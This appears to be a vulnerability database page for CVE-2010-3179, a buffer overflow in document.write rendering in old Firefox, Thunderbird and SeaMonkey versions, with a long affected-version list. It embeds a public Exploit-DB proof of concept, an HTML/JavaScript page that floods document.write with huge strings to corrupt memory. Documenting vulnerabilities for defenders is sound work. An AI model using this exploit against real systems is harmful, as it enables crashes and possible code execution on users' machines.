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CVE-2010-3179

critical
Published 2010-10-21 · Modified 2026-04-29
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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Stack-based buffer overflow in the text-rendering functionality in Mozilla Firefox before 3.5.14 and 3.6.x before 3.6.11, Thunderbird before 3.0.9 and 3.1.x before 3.1.5, and SeaMonkey before 2.0.9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a long argument to the document.write method.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34881 remote linux verified text · 1 KB
Alexander Miller · 2010-10-19

Mozilla Firefox SeaMonkey 3.6.10 / Thunderbird 3.1.4 - 'document.write' Memory Corruption

text exploit Source: Exploit-DB 
source: https://www.securityfocus.com/bid/44247/info

Mozilla Firefox, Thunderbird, and Seamonkey are prone to a memory-corruption vulnerability because they fail to adequately validate user-supplied data.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects versions prior to:

Firefox 3.6.11
Firefox 3.5.14
Thunderbird 3.1.5
Thunderbird 3.0.9
SeaMonkey 2.0.9

NOTE: This issue was previously discussed in 44228 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-64/65/66/67/68/69/71/72 Multiple Vulnerabilities) but has been given its own record to better document it. 

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
    var eip = unescape("%u4141%u4141");
    var string2 = unescape("%u0000%u0000");
    var finalstring2 = expand(string2, 49000000);
    var finaleip = expand(eip, 21000001);
document.write(finalstring2);
document.write(finaleip);
function expand(string, number) {
    var i = Math.ceil(Math.log(number) / Math.LN2),
        result = string;
    do {
        result += result;
    } while (0 < --i);
    return result.slice(0, string.length * number);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

Application impact
VendorProductVersionsFixed
mozilla mozillafirefox3.6
mozilla mozillafirefox3.6.2
mozilla mozillafirefox3.6.3
mozilla mozillafirefox3.6.4
mozilla mozillafirefox3.6.6
mozilla mozillafirefox3.6.7
mozilla mozillafirefox3.6.8
mozilla mozillafirefox3.6.9
mozilla mozillafirefox3.6.10
mozilla mozillaseamonkey{"endIncluding":"2.0.8"}
mozilla mozillaseamonkey1.0
mozilla mozillaseamonkey1.0.1
mozilla mozillaseamonkey1.0.2
mozilla mozillaseamonkey1.0.3
mozilla mozillaseamonkey1.0.4
mozilla mozillaseamonkey1.0.5
mozilla mozillaseamonkey1.0.6
mozilla mozillaseamonkey1.0.7
mozilla mozillaseamonkey1.0.8
mozilla mozillaseamonkey1.0.9
mozilla mozillaseamonkey1.1
mozilla mozillaseamonkey1.1.1
mozilla mozillaseamonkey1.1.2
mozilla mozillaseamonkey1.1.3
mozilla mozillaseamonkey1.1.4
mozilla mozillaseamonkey1.1.5
mozilla mozillaseamonkey1.1.6
mozilla mozillaseamonkey1.1.7
mozilla mozillaseamonkey1.1.8
mozilla mozillaseamonkey1.1.9
mozilla mozillaseamonkey1.1.10
mozilla mozillaseamonkey1.1.11
mozilla mozillaseamonkey1.1.12
mozilla mozillaseamonkey1.1.13
mozilla mozillaseamonkey1.1.14
mozilla mozillaseamonkey1.1.15
mozilla mozillaseamonkey1.1.16
mozilla mozillaseamonkey1.1.17
mozilla mozillaseamonkey1.1.18
mozilla mozillaseamonkey1.1.19
mozilla mozillaseamonkey1.5.0.8
mozilla mozillaseamonkey1.5.0.9
mozilla mozillaseamonkey1.5.0.10
mozilla mozillaseamonkey2.0
mozilla mozillaseamonkey2.0.1
mozilla mozillaseamonkey2.0.2
mozilla mozillaseamonkey2.0.3
mozilla mozillaseamonkey2.0.4
mozilla mozillaseamonkey2.0.5
mozilla mozillaseamonkey2.0.6
mozilla mozillaseamonkey2.0.7
mozilla mozillathunderbird{"endIncluding":"3.0.8"}
mozilla mozillathunderbird0.1
mozilla mozillathunderbird0.2
mozilla mozillathunderbird0.3
mozilla mozillathunderbird0.4
mozilla mozillathunderbird0.5
mozilla mozillathunderbird0.6
mozilla mozillathunderbird0.7
mozilla mozillathunderbird0.7.1
mozilla mozillathunderbird0.7.2
mozilla mozillathunderbird0.7.3
mozilla mozillathunderbird0.8
mozilla mozillathunderbird0.9
mozilla mozillathunderbird1.0
mozilla mozillathunderbird1.0.1
mozilla mozillathunderbird1.0.2
mozilla mozillathunderbird1.0.3
mozilla mozillathunderbird1.0.4
mozilla mozillathunderbird1.0.5
mozilla mozillathunderbird1.0.6
mozilla mozillathunderbird1.0.7
mozilla mozillathunderbird1.0.8
mozilla mozillathunderbird1.5
mozilla mozillathunderbird1.5.0.1
mozilla mozillathunderbird1.5.0.2
mozilla mozillathunderbird1.5.0.3
mozilla mozillathunderbird1.5.0.4
mozilla mozillathunderbird1.5.0.5
mozilla mozillathunderbird1.5.0.6
mozilla mozillathunderbird1.5.0.7
mozilla mozillathunderbird1.5.0.8
mozilla mozillathunderbird1.5.0.9
mozilla mozillathunderbird1.5.0.10
mozilla mozillathunderbird1.5.0.11
mozilla mozillathunderbird1.5.0.12
mozilla mozillathunderbird1.5.0.13
mozilla mozillathunderbird1.5.0.14
mozilla mozillathunderbird1.5.1
mozilla mozillathunderbird1.5.2
mozilla mozillathunderbird2.0
mozilla mozillathunderbird2.0.0.0
mozilla mozillathunderbird2.0.0.1
mozilla mozillathunderbird2.0.0.2
mozilla mozillathunderbird2.0.0.3
mozilla mozillathunderbird2.0.0.4
mozilla mozillathunderbird2.0.0.5
mozilla mozillathunderbird2.0.0.6
mozilla mozillathunderbird2.0.0.7
mozilla mozillathunderbird2.0.0.8
mozilla mozillathunderbird2.0.0.9
mozilla mozillathunderbird2.0.0.12
mozilla mozillathunderbird2.0.0.14
mozilla mozillathunderbird2.0.0.16
mozilla mozillathunderbird2.0.0.17
mozilla mozillathunderbird2.0.0.18
mozilla mozillathunderbird2.0.0.19
mozilla mozillathunderbird2.0.0.21
mozilla mozillathunderbird2.0.0.22
mozilla mozillathunderbird2.0.0.23
mozilla mozillathunderbird3.0
mozilla mozillathunderbird3.0.1
mozilla mozillathunderbird3.0.2
mozilla mozillathunderbird3.0.3
mozilla mozillathunderbird3.0.4
mozilla mozillathunderbird3.0.5
mozilla mozillathunderbird3.0.6
mozilla mozillathunderbird3.0.7
mozilla mozillafirefox{"endIncluding":"3.5.13"}
mozilla mozillafirefox1.0
mozilla mozillafirefox1.0.1
mozilla mozillafirefox1.0.2
mozilla mozillafirefox1.0.3
mozilla mozillafirefox1.0.4
mozilla mozillafirefox1.0.5
mozilla mozillafirefox1.0.6
mozilla mozillafirefox1.0.7
mozilla mozillafirefox1.0.8
mozilla mozillafirefox1.5
mozilla mozillafirefox1.5.0.1
mozilla mozillafirefox1.5.0.2
mozilla mozillafirefox1.5.0.3
mozilla mozillafirefox1.5.0.4
mozilla mozillafirefox1.5.0.5
mozilla mozillafirefox1.5.0.6
mozilla mozillafirefox1.5.0.7
mozilla mozillafirefox1.5.0.8
mozilla mozillafirefox1.5.0.9
mozilla mozillafirefox1.5.0.10
mozilla mozillafirefox1.5.0.11
mozilla mozillafirefox1.5.0.12
mozilla mozillafirefox1.5.1
mozilla mozillafirefox1.5.2
mozilla mozillafirefox1.5.3
mozilla mozillafirefox1.5.4
mozilla mozillafirefox1.5.5
mozilla mozillafirefox1.5.6
mozilla mozillafirefox1.5.7
mozilla mozillafirefox1.5.8
mozilla mozillafirefox2.0
mozilla mozillafirefox2.0.0.1
mozilla mozillafirefox2.0.0.2
mozilla mozillafirefox2.0.0.3
mozilla mozillafirefox2.0.0.4
mozilla mozillafirefox2.0.0.5
mozilla mozillafirefox2.0.0.6
mozilla mozillafirefox2.0.0.7
mozilla mozillafirefox2.0.0.8
mozilla mozillafirefox2.0.0.9
mozilla mozillafirefox2.0.0.10
mozilla mozillafirefox2.0.0.11
mozilla mozillafirefox2.0.0.12
mozilla mozillafirefox2.0.0.13
mozilla mozillafirefox2.0.0.14
mozilla mozillafirefox2.0.0.15
mozilla mozillafirefox2.0.0.16
mozilla mozillafirefox2.0.0.17
mozilla mozillafirefox2.0.0.18
mozilla mozillafirefox2.0.0.19
mozilla mozillafirefox2.0.0.20
mozilla mozillafirefox3.0
mozilla mozillafirefox3.0.1
mozilla mozillafirefox3.0.2
mozilla mozillafirefox3.0.3
mozilla mozillafirefox3.0.4
mozilla mozillafirefox3.0.5
mozilla mozillafirefox3.0.6
mozilla mozillafirefox3.0.7
mozilla mozillafirefox3.0.8
mozilla mozillafirefox3.0.9
mozilla mozillafirefox3.0.10
mozilla mozillafirefox3.0.11
mozilla mozillafirefox3.0.12
mozilla mozillafirefox3.0.13
mozilla mozillafirefox3.0.14
mozilla mozillafirefox3.0.15
mozilla mozillafirefox3.0.16
mozilla mozillafirefox3.0.17
mozilla mozillafirefox3.5
mozilla mozillafirefox3.5.1
mozilla mozillafirefox3.5.2
mozilla mozillafirefox3.5.3
mozilla mozillafirefox3.5.4
mozilla mozillafirefox3.5.5
mozilla mozillafirefox3.5.6
mozilla mozillafirefox3.5.7
mozilla mozillafirefox3.5.8
mozilla mozillafirefox3.5.9
mozilla mozillafirefox3.5.10
mozilla mozillafirefox3.5.11

References

CWEs

CWE-119

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